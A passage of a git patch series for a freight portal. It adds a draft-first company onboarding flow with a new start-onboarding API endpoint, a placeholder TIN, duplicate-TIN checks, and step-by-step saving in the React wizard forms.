CreateCompanyPayload) => void; isPending: boolean; onBack: () => void; + /** Step to resume at (defaults to "company"). */ + initialStep?: ForwarderStep; + /** Reports the active step so the parent can persist resume progress. */ + onStepChange?: (step: ForwarderStep) => void; }) { - const [step, setStep] = useState("company"); + const [step, setStep] = useState(initialStep ?? "company"); + + // Report each step change up so the wizard can persist it for resume. + useEffect(() => { + onStepChange?.(step); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [step]); const [internalFiles, setInternalFiles] = useState>({}); const documentFiles = controlledFiles ?? internalFiles; const setDocumentFiles = onDocumentFilesChange ?? setInternalFiles; diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 8615061d7..e2c92fde6 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -2,11 +2,9 @@ import type { Freight, PaginatedResponse } from "@edr/types"; import { endpoint } from "@/utils/endpoint"; import type { CreateFileUploadFieldDto, - CreateFileUploadSettingDto, FileUploadField, FileUploadSetting, UpdateFileUploadFieldDto, - UpdateFileUploadSettingDto, } from "@/types/fileUploadSettings"; import { bookingsService, From 9f5d28713956adb47bfa24ebbe45c37a1fea662c Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:50:24 +0000 Subject: [PATCH 03/19] feat: implement onboarding process with draft company and profile creation --- .../modules/companies/companies.controller.ts | 25 +++ .../modules/companies/companies.service.ts | 136 ++++++++++++- .../companies/dto/start-onboarding.dto.ts | 13 ++ .../onboarding/OnboardingWizardDialog.tsx | 181 ++++++++++-------- .../portal/src/constants/URLS.ts | 1 + .../src/pages/accounts/CompanyProfileForm.tsx | 83 ++++++-- .../src/pages/accounts/ForwarderForm.tsx | 77 ++++++-- .../portal/src/services/api.ts | 5 + .../portal/src/services/companies.service.ts | 12 ++ 9 files changed, 423 insertions(+), 110 deletions(-) create mode 100644 apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index d09effef3..21cbfd67b 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -27,6 +27,7 @@ import { AddCompanyProfilesDto } from "./dto/add-company-profiles.dto"; import { CreateCompanyProfileDto } from "./dto/create-company-profile.dto"; import { SetActiveModeDto } from "./dto/set-active-mode.dto"; import { SetOnboardingStepDto } from "./dto/set-onboarding-step.dto"; +import { StartOnboardingDto } from "./dto/start-onboarding.dto"; import { ResponseCompanyDto, ResponseCompanyProfileDto, @@ -108,6 +109,30 @@ export class CompaniesController { return profiles.map((p) => new ResponseCompanyProfileDto(p)); } + @Post("onboarding/start") + @ApiOperation({ + summary: + "Begin onboarding: create a draft company + profile + role(s) so later steps can save incrementally", + }) + async startOnboarding( + @CurrentUser() user: CurrentIamUser, + @Body() dto: StartOnboardingDto, + ): Promise { + const nameParts = (user.name?.en ?? "").split(" "); + const { profile, company } = await this.companiesService.startOnboarding( + { + userId: user.id, + firstName: nameParts[0] || "", + lastName: nameParts.slice(-1)[0] || "", + email: user.email ?? "", + phone: user.phoneNumber ?? "", + }, + dto.companyType, + dto.roles, + ); + return new CompanyInfoResponseDto(profile, company); + } + @Post("company-profile") @ApiOperation({ summary: diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index edeaafe57..65a736e1f 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -15,7 +15,7 @@ import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.d import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; -import { Company } from "./entities/company.entity"; +import { Company, CompanyStatus, CompanyType } from "./entities/company.entity"; import { ExternalProfile } from "./entities/external-profile.entity"; import { CompanyProfile, @@ -137,6 +137,112 @@ export class CompaniesService { return { company, profile }; } + /** + * Begin onboarding: create a DRAFT company + the user's external profile + the + * chosen operational role(s) up front, so every subsequent wizard step can + * save incrementally (PATCH /profile, /onboarding-step) against existing rows. + * + * Idempotent: if the user already has a profile, returns it unchanged (only + * adding any newly-chosen roles). The draft company carries a placeholder TIN + * (the real one is filled on the Company Information step) and stays + * status=pending / onboardingCompleted=false until the wizard finishes. + */ + async startOnboarding( + identity: UserIdentity, + companyType: CompanyType, + roles: ProfileType[], + ): Promise<{ profile: ExternalProfile; company: Company }> { + // Already started — reuse the existing draft, just ensure roles exist. + const existing = await this.profilesRepo.findByUserId(identity.userId); + if (existing) { + const companyId = existing.company?.id ?? existing.companyId; + await this.ensureCompanyProfiles(companyId, companyType, roles); + return this.getCompanyInfoByUserId(identity.userId); + } + + // A profile may exist for the same email under a different IAM id — block + // duplicates as the final create does. + const byEmail = await this.profilesRepo.findByEmail(identity.email); + if (byEmail) { + throw new ConflictException( + `Profile with email ${identity.email} already exists`, + ); + } + + const allowedTypes = this.getProfileTypeForCompanyType(companyType); + const chosenTypes = roles.filter((t) => allowedTypes.includes(t)); + const activeProfileType = + chosenTypes.find((t) => t === ProfileType.importer) ?? + chosenTypes[0] ?? + allowedTypes[0] ?? + null; + + const company = await this.companiesRepo.create({ + name: identity.firstName + ? `${identity.firstName}'s company` + : "New company", + type: companyType, + tin: await this.generateDraftTin(), + country: "Ethiopia", + status: CompanyStatus.Pending, + }); + + await this.profilesRepo.create({ + userId: identity.userId, + companyId: company.id, + firstName: identity.firstName, + lastName: identity.lastName, + email: identity.email, + phone: identity.phone, + isPrimaryContact: true, + activeProfileType, + onboardingStep: "company", + onboardingCompleted: false, + }); + + await this.ensureCompanyProfiles(company.id, companyType, chosenTypes); + + return this.getCompanyInfoByUserId(identity.userId); + } + + /** Create any of the requested operational profiles that don't exist yet. */ + private async ensureCompanyProfiles( + companyId: string, + companyType: CompanyType, + roles: ProfileType[], + ): Promise { + const allowedTypes = this.getProfileTypeForCompanyType(companyType); + for (const type of roles) { + if (!allowedTypes.includes(type)) continue; + const existing = await this.companyProfilesRepo.findByType( + companyId, + type, + ); + if (existing) continue; + const reference = await this.companyProfilesRepo.generateReference(type); + await this.companyProfilesRepo.create({ + companyId, + type, + reference, + status: ProfileStatus.Active, + }); + } + } + + /** + * A unique 10-char placeholder TIN for a draft company (the column is + * NOT NULL + unique). Overwritten with the real TIN on the company step. + */ + private async generateDraftTin(): Promise { + for (let i = 0; i < 10; i++) { + const candidate = + "D" + Math.floor(Math.random() * 1_000_000_000).toString().padStart(9, "0"); + if (!(await this.companiesRepo.existsByTin(candidate))) return candidate; + } + // Extremely unlikely; fall back to a timestamp-derived value. + return ("D" + Date.now().toString()).slice(0, 10); + } + async findAllCompanies(): Promise { return this.companiesRepo.findAll({ order: { name: "ASC" } }); } @@ -356,7 +462,17 @@ export class CompaniesService { companyUpdates.country = dto.companyLocation; if (dto.companyAddress !== undefined) companyUpdates.address = dto.companyAddress; - if (dto.tin !== undefined) companyUpdates.tin = dto.tin; + if (dto.tin !== undefined && dto.tin !== company.tin) { + // Reject a TIN already taken by a different company (the user's own draft + // placeholder is fine to overwrite). + const owner = await this.companiesRepo.findByTin(dto.tin); + if (owner && owner.id !== company.id) { + throw new ConflictException( + `Company with TIN ${dto.tin} already exists`, + ); + } + companyUpdates.tin = dto.tin; + } if (dto.vatNumber !== undefined) companyUpdates.vatNumber = dto.vatNumber; if (dto.fanNumber !== undefined) { companyUpdates.fanNumber = dto.fanNumber; @@ -619,9 +735,23 @@ export class CompaniesService { const profile = await this.profilesRepo.findByUserId(userId); if (!profile) throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + + // Guard against finishing on a still-draft company (TIN never filled in). + if (!company.tin || company.tin.startsWith("D")) { + throw new BadRequestException( + "Company information is incomplete — please fill in your company details before finishing.", + ); + } + await this.profilesRepo.update(profile.id, { onboardingCompleted: true, - onboardingStep: 'done', + onboardingStep: "done", + }); + await this.companiesRepo.update(companyId, { + status: CompanyStatus.Active, }); return this.getCompanyInfoByUserId(userId); } diff --git a/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts new file mode 100644 index 000000000..edbe13145 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts @@ -0,0 +1,13 @@ +import { ArrayMinSize, IsArray, IsEnum } from "class-validator"; +import { CompanyType } from "../entities/company.entity"; +import { ProfileType } from "../entities/company-profile.entity"; + +export class StartOnboardingDto { + @IsEnum(CompanyType) + companyType!: CompanyType; + + @IsArray() + @ArrayMinSize(1) + @IsEnum(ProfileType, { each: true }) + roles!: ProfileType[]; +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 9b11267cc..6cd7f21b1 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,15 +1,16 @@ -import { Button, Group, Modal, ScrollArea, Stack, Text } from "@mantine/core"; +import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQueryClient } from "@tanstack/react-query"; -import { CheckCircle2 } from "lucide-react"; import { useCallback, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; import type { - CompanyProfileInput, CreateCompanyPayload, + ProfileTypeValue, } from "@/services/companies.service"; import { companiesService } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; +import { extractApiError } from "@/utils/result"; import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; import ForwarderForm from "@/pages/accounts/ForwarderForm"; import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; @@ -44,10 +45,11 @@ function documentSettingCode(companyType: string): string { } /** - * Blocking, non-dismissable first-run onboarding wizard. Step 1 picks the - * operational role(s); the remaining steps reuse the existing company/forwarder - * forms. On completion the company is created with its company_profiles and the - * active mode is set server-side, then onboarding is marked complete. + * First-run onboarding wizard with a "draft-first" flow: picking the role(s) + * immediately creates a draft company + profile on the backend, so every + * subsequent step saves its data incrementally (PATCH /profile, /onboarding-step) + * against existing rows. The final step uploads documents and marks onboarding + * complete. Dismissable — the gate keeps it reachable until finished. */ export default function OnboardingWizardDialog({ opened, @@ -56,53 +58,59 @@ export default function OnboardingWizardDialog({ const queryClient = useQueryClient(); const { user, company, onboardingStep } = useAuth(); - // A company already exists but onboarding wasn't marked complete (e.g. the - // browser closed after create but before finishing). Don't re-create it — - // just let the user finish. - const companyAlreadyCreated = Boolean(company?.company?.id); + const existingProfiles = company?.company?.companyProfiles ?? []; + const companyAlreadyStarted = Boolean(company?.company?.id); - // Resume position from the backend-persisted step. A form step means the user - // had already passed role selection. Cross-session we still start at role - // selection (the roles + field values aren't persisted), but within a session - // the dialog stays mounted so dismiss/reopen continues exactly where it was. + // Resume position from the backend-persisted step. const resumeFormStep: FormStep = FORM_STEPS.includes(onboardingStep as FormStep) ? (onboardingStep as FormStep) : "company"; - // "role" → pick roles; otherwise the company/forwarder form drives its own - // internal steps. - const [phase, setPhase] = useState<"role" | "form">("role"); - const [roles, setRoles] = useState([]); + // If a draft already exists, resume straight into the form with its roles + // pre-selected; otherwise start at role selection. + const [phase, setPhase] = useState<"role" | "form">( + companyAlreadyStarted ? "form" : "role", + ); + const [roles, setRoles] = useState( + existingProfiles.map((p) => p.type), + ); const [documentFiles, setDocumentFiles] = useState< Record >({}); + const [startError, setStartError] = useState(null); - const createCompanyMutation = useMutation({ - mutationFn: (payload: CreateCompanyPayload) => - api.companies.create.call(payload), - onSuccess: async (data) => { + const refreshInfo = useCallback( + () => + queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }), + [queryClient], + ); + + // Begin onboarding: create the draft company + profile + role(s). + const startMutation = useMutation({ + mutationFn: (vars: { companyType: string; roles: ProfileTypeValue[] }) => + api.companies.startOnboarding.call(vars), + onSuccess: async () => { + await refreshInfo(); + setPhase("form"); + }, + onError: (err) => setStartError(extractApiError(err).message), + }); + + // Finalize: upload any documents, then mark onboarding complete. + const finishMutation = useMutation({ + mutationFn: async () => { + const companyId = company?.company?.id; const hasFiles = Object.values(documentFiles).some( (f) => f !== null && (Array.isArray(f) ? f.length > 0 : true), ); - if (hasFiles) { - await companiesService.uploadDocuments(data.company.id, documentFiles); + if (companyId && hasFiles) { + await companiesService.uploadDocuments(companyId, documentFiles); } - // Mark onboarding complete, then refresh the company info so the gate - // releases and the header reflects the new profile(s). - await api.companies.completeOnboarding.call(); - await queryClient.invalidateQueries({ - queryKey: api.companies.getInfo.queryKey(), - }); - }, - }); - - const finishMutation = useMutation({ - mutationFn: () => api.companies.completeOnboarding.call(), - onSuccess: async () => { - await queryClient.invalidateQueries({ - queryKey: api.companies.getInfo.queryKey(), - }); + return api.companies.completeOnboarding.call(); }, + onSuccess: refreshInfo, }); // Persist the resume step to the backend (best-effort, fire-and-forget). @@ -111,27 +119,39 @@ export default function OnboardingWizardDialog({ }, []); const handleRolesContinue = useCallback(() => { - setPhase("form"); - persistStep("company"); - }, [persistStep]); + setStartError(null); + startMutation.mutate({ + companyType: companyTypeForRoles(roles), + roles: roles as ProfileTypeValue[], + }); + }, [roles, startMutation]); const handleBackToRoles = useCallback(() => { setPhase("role"); persistStep("role"); }, [persistStep]); - const handleSubmit = useCallback( - (payload: CreateCompanyPayload) => { - const companyProfiles: CompanyProfileInput[] = roles.map((type) => ({ - type: type as CompanyProfileInput["type"], - })); - createCompanyMutation.mutate({ - ...payload, - companyType: companyTypeForRoles(roles), - companyProfiles, - }); + // Save the current step's fields to the draft (PATCH /profile). Returns false + // to keep the form on the current step when the save fails. + const saveStep = useCallback( + async (data: Partial): Promise => { + try { + await api.companies.updateProfile.call(data as UpdateProfilePayload); + return true; + } catch { + return false; + } }, - [roles, createCompanyMutation], + [], + ); + + // Final confirm step → finalize onboarding (no company create; it already + // exists as a draft that's been filled in step-by-step). + const handleSubmit = useCallback( + (_payload: CreateCompanyPayload) => { + finishMutation.mutate(); + }, + [finishMutation], ); if (!user) return null; @@ -161,37 +181,26 @@ export default function OnboardingWizardDialog({ Complete your onboarding - {companyAlreadyCreated - ? "You're almost there — finish to start using the portal." - : phase === "role" - ? "Tell us what your company does to get started." - : "Set up your company profile to finish."} + {phase === "role" + ? "Tell us what your company does to get started." + : "Set up your company profile to finish."} } > - {companyAlreadyCreated ? ( - - - - Your company profile is set up. Click finish to complete onboarding - and unlock the rest of the portal. - - - - - - ) : phase === "role" ? ( + {phase === "role" ? ( - + {startError && ( + + {startError} + + )} + ) : isForwarder ? ( ) : ( )} @@ -224,19 +235,21 @@ export default function OnboardingWizardDialog({ function RoleContinueBar({ disabled, + loading, onClick, }: { disabled: boolean; + loading?: boolean; onClick: () => void; }) { return ( ); } diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 195dcb692..3854ecdca 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -86,6 +86,7 @@ export const URL_CONSTANTS = { COMPANY_PROFILES: "/api/companies/company-profiles", COMPANY_PROFILE: "/api/companies/company-profile", ACTIVE_MODE: "/api/companies/active-mode", + ONBOARDING_START: "/api/companies/onboarding/start", ONBOARDING_STEP: "/api/companies/onboarding-step", ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 913726008..d51f31490 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -28,6 +28,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -118,6 +119,44 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { }; } +/** Map one wizard step's form values to the profile-update payload it saves. */ +function stepPayload(step: CompanyStep, d: FormData): Partial { + switch (step) { + case "company": + return { + companyName: d.companyName, + companyEmail: d.companyEmail, + companyPhone: `${d.companyPhoneCountryCode}${d.companyPhone}`, + companyLocation: d.companyLocation, + companyAddress: d.companyAddress, + tin: d.tinNumber, + vatNumber: d.vatNumber, + fanNumber: d.fanNumber, + }; + case "personnel": + return { + contactPersonName: d.contactPersonName, + contactPersonPhone: `${d.contactPersonPhoneCountryCode}${d.contactPersonPhone}`, + generalManagerName: d.generalManagerName, + generalManagerEmail: d.generalManagerEmail, + generalManagerPhone: `${d.generalManagerPhoneCountryCode}${d.generalManagerPhone}`, + }; + case "poa": + return { + poaName: d.poaName || undefined, + poaPhone: + d.poaPhone && d.poaPhoneCountryCode + ? `${d.poaPhoneCountryCode}${d.poaPhone}` + : undefined, + poaEmail: d.poaEmail || undefined, + poaLocation: d.poaLocation || undefined, + poaAddress: d.poaAddress || undefined, + }; + default: + return {}; + } +} + export default function CompanyProfileForm({ documentSettingCode, documentFiles: controlledFiles, @@ -128,6 +167,7 @@ export default function CompanyProfileForm({ onBack, initialStep, onStepChange, + onSaveStep, }: { documentSettingCode: string; documentFiles?: Record; @@ -140,8 +180,11 @@ export default function CompanyProfileForm({ initialStep?: CompanyStep; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: CompanyStep) => void; + /** Persist the current step's data before advancing (returns false to block). */ + onSaveStep?: (data: Partial) => Promise; }) { const [step, setStep] = useState(initialStep ?? "company"); + const [saving, setSaving] = useState(false); // Report each step change up so the wizard can persist it for resume. useEffect(() => { @@ -199,22 +242,34 @@ export default function CompanyProfileForm({ const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; + /** Validate + persist the current step, returning whether we may advance. */ + const saveCurrentStep = async (): Promise => { + const isValid = await trigger(stepFields[step]); + if (!isValid) return false; + if (!onSaveStep) return true; + setSaving(true); + try { + return await onSaveStep(stepPayload(step, watch())); + } finally { + setSaving(false); + } + }; + const nextStep = async () => { - if (step === "poa") { - setStep("documents"); + if (step === "confirm") { + handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } if (step === "documents") { setStep("confirm"); return; } - if (step === "confirm") { - handleSubmit((data) => onSubmit(buildPayload(data, user)))(); - return; - } - const isValid = await trigger(stepFields[step]); - if (!isValid) return; - setStep(step === "company" ? "personnel" : "poa"); + // company / personnel / poa: validate + save before advancing. + const ok = await saveCurrentStep(); + if (!ok) return; + setStep( + step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents", + ); }; const prevStep = () => { @@ -593,11 +648,15 @@ export default function CompanyProfileForm({ } disabled={ isPending || + saving || (step === "documents" && !hasDocuments && loadingDocuments) } - loading={isPending} + loading={isPending || saving} rightSection={ - !isPending && step !== "confirm" && step !== "documents" ? ( + !isPending && + !saving && + step !== "confirm" && + step !== "documents" ? ( ) : undefined } @@ -606,7 +665,7 @@ export default function CompanyProfileForm({ ? "Continue" : step === "confirm" ? "Submit Registration" - : "Next Step"} + : "Save & Continue"}
diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index 6f06d9c48..8efcd6a7f 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -17,6 +17,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -83,6 +84,44 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { }; } +/** Map one wizard step's form values to the profile-update payload it saves. */ +function stepPayload(step: ForwarderStep, d: FormData): Partial { + switch (step) { + case "company": + return { + companyName: d.companyName, + companyEmail: d.companyEmail, + companyPhone: `${d.companyPhoneCountryCode}${d.companyPhone}`, + companyLocation: d.companyLocation, + companyAddress: d.companyAddress, + tin: d.tinNumber, + vatNumber: d.vatNumber, + fanNumber: d.fanNumber, + }; + case "personnel": + return { + contactPersonName: d.contactPersonName, + contactPersonPhone: `${d.contactPersonPhoneCountryCode}${d.contactPersonPhone}`, + generalManagerName: d.generalManagerName, + generalManagerEmail: d.generalManagerEmail, + generalManagerPhone: `${d.generalManagerPhoneCountryCode}${d.generalManagerPhone}`, + }; + case "poa": + return { + poaName: d.poaName || undefined, + poaPhone: + d.poaPhone && d.poaPhoneCountryCode + ? `${d.poaPhoneCountryCode}${d.poaPhone}` + : undefined, + poaEmail: d.poaEmail || undefined, + poaLocation: d.poaLocation || undefined, + poaAddress: d.poaAddress || undefined, + }; + default: + return {}; + } +} + export default function ForwarderForm({ documentSettingCode, documentFiles: controlledFiles, @@ -93,6 +132,7 @@ export default function ForwarderForm({ onBack, initialStep, onStepChange, + onSaveStep, }: { documentSettingCode: string; documentFiles?: Record; @@ -105,8 +145,11 @@ export default function ForwarderForm({ initialStep?: ForwarderStep; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: ForwarderStep) => void; + /** Persist the current step's data before advancing (returns false to block). */ + onSaveStep?: (data: Partial) => Promise; }) { const [step, setStep] = useState(initialStep ?? "company"); + const [saving, setSaving] = useState(false); // Report each step change up so the wizard can persist it for resume. useEffect(() => { @@ -136,13 +179,25 @@ export default function ForwarderForm({ const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; - const nextStep = async () => { - if (step === "poa") { setStep("documents"); return; } - if (step === "documents") { setStep("confirm"); return; } - if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } + /** Validate + persist the current step, returning whether we may advance. */ + const saveCurrentStep = async (): Promise => { const isValid = await trigger(stepFields[step]); - if (!isValid) return; - setStep(step === "company" ? "personnel" : "poa"); + if (!isValid) return false; + if (!onSaveStep) return true; + setSaving(true); + try { + return await onSaveStep(stepPayload(step, watch())); + } finally { + setSaving(false); + } + }; + + const nextStep = async () => { + if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } + if (step === "documents") { setStep("confirm"); return; } + const ok = await saveCurrentStep(); + if (!ok) return; + setStep(step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents"); }; const skipDocuments = () => setStep("confirm"); @@ -423,18 +478,18 @@ export default function ForwarderForm({ {step === "documents" && ( - )} diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index e2c92fde6..8f14b0062 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -140,6 +140,11 @@ export const api = { CompanyProfileResponse >("companies", "createCompanyProfile", companiesService.createCompanyProfile), + startOnboarding: endpoint< + { companyType: string; roles: ProfileTypeValue[] }, + CompanyInfoResponse + >("companies", "startOnboarding", companiesService.startOnboarding), + setActiveMode: endpoint<{ type: ProfileTypeValue }, CompanyInfoResponse>( "companies", "setActiveMode", diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index e71949045..2789a9e3a 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -177,6 +177,18 @@ export const companiesService = { return unwrap(response.data); }, + /** Begin onboarding — create the draft company + profile + role(s) up front. */ + startOnboarding: async (payload: { + companyType: string; + roles: ProfileTypeValue[]; + }): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.ONBOARDING_START, + payload, + ); + return unwrap(response.data); + }, + /** Switch the active operational mode (target profile must already exist). */ setActiveMode: async (payload: { type: ProfileTypeValue; From ce8189d5fe7889c0d5a08c12c57029abe2b22c1e Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 23:04:39 +0000 Subject: [PATCH 04/19] feat: enhance onboarding forms with error handling and step persistence --- .../modules/companies/companies.service.ts | 2 +- .../onboarding/OnboardingWizardDialog.tsx | 35 ++++++--- .../src/pages/accounts/CompanyProfileForm.tsx | 75 +++++++++++++++---- .../src/pages/accounts/ForwarderForm.tsx | 56 ++++++++++++-- 4 files changed, 132 insertions(+), 36 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 65a736e1f..dae561470 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -468,7 +468,7 @@ export class CompaniesService { const owner = await this.companiesRepo.findByTin(dto.tin); if (owner && owner.id !== company.id) { throw new ConflictException( - `Company with TIN ${dto.tin} already exists`, + `This TIN (${dto.tin}) is already registered to another company. Please check the number and try again.`, ); } companyUpdates.tin = dto.tin; diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 6cd7f21b1..ddb046004 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,6 +1,6 @@ import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQueryClient } from "@tanstack/react-query"; -import { useCallback, useState } from "react"; +import { useCallback, useRef, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; @@ -113,8 +113,14 @@ export default function OnboardingWizardDialog({ onSuccess: refreshInfo, }); - // Persist the resume step to the backend (best-effort, fire-and-forget). + // Persist the resume step to the backend, but only ever move FORWARD — going + // Back must never downgrade the furthest step the user reached, so reopening + // always lands on the furthest step. + const furthestIdxRef = useRef(FORM_STEPS.indexOf(resumeFormStep)); const persistStep = useCallback((step: string) => { + const idx = FORM_STEPS.indexOf(step as FormStep); + if (idx < 0 || idx <= furthestIdxRef.current) return; + furthestIdxRef.current = idx; api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); @@ -126,20 +132,21 @@ export default function OnboardingWizardDialog({ }); }, [roles, startMutation]); - const handleBackToRoles = useCallback(() => { - setPhase("role"); - persistStep("role"); - }, [persistStep]); + // Note: no "back to role selection" — once the draft is created the role(s) + // are fixed; the form's first-step Back is a no-op so progress never resets. + const handleBackToRoles = useCallback(() => {}, []); - // Save the current step's fields to the draft (PATCH /profile). Returns false - // to keep the form on the current step when the save fails. + // Save the current step's fields to the draft (PATCH /profile). Returns the + // server error message on failure so the form can show it (e.g. duplicate TIN). const saveStep = useCallback( - async (data: Partial): Promise => { + async ( + data: Partial, + ): Promise<{ ok: true } | { ok: false; error: string }> => { try { await api.companies.updateProfile.call(data as UpdateProfilePayload); - return true; - } catch { - return false; + return { ok: true }; + } catch (err) { + return { ok: false, error: extractApiError(err).message }; } }, [], @@ -211,7 +218,9 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={finishMutation.isPending} onBack={handleBackToRoles} + hideFirstStepBack initialStep={resumeFormStep} + resyncOpen={opened} onStepChange={persistStep} onSaveStep={saveStep} /> @@ -224,7 +233,9 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={finishMutation.isPending} onBack={handleBackToRoles} + hideFirstStepBack initialStep={resumeFormStep} + resyncOpen={opened} onStepChange={persistStep} onSaveStep={saveStep} /> diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index d51f31490..2ce65b29e 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -1,4 +1,5 @@ import { + Alert, Box, Button, Divider, @@ -13,6 +14,7 @@ import { import { zodResolver } from "@hookform/resolvers/zod"; import { useQuery } from "@tanstack/react-query"; import { + AlertCircle, ArrowLeft, ArrowRight, Building2, @@ -22,7 +24,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useEffect, useState } from "react"; +import { useEffect, useRef, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -166,6 +168,8 @@ export default function CompanyProfileForm({ isPending, onBack, initialStep, + resyncOpen, + hideFirstStepBack, onStepChange, onSaveStep, }: { @@ -178,19 +182,38 @@ export default function CompanyProfileForm({ onBack: () => void; /** Step to resume at (defaults to "company"). */ initialStep?: CompanyStep; + /** When this flips true (dialog reopened), jump back to initialStep (furthest reached). */ + resyncOpen?: boolean; + /** Hide the Back button on the first step (onboarding can't go back to role pick). */ + hideFirstStepBack?: boolean; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: CompanyStep) => void; - /** Persist the current step's data before advancing (returns false to block). */ - onSaveStep?: (data: Partial) => Promise; + /** Persist the current step's data before advancing; returns an error to show. */ + onSaveStep?: ( + data: 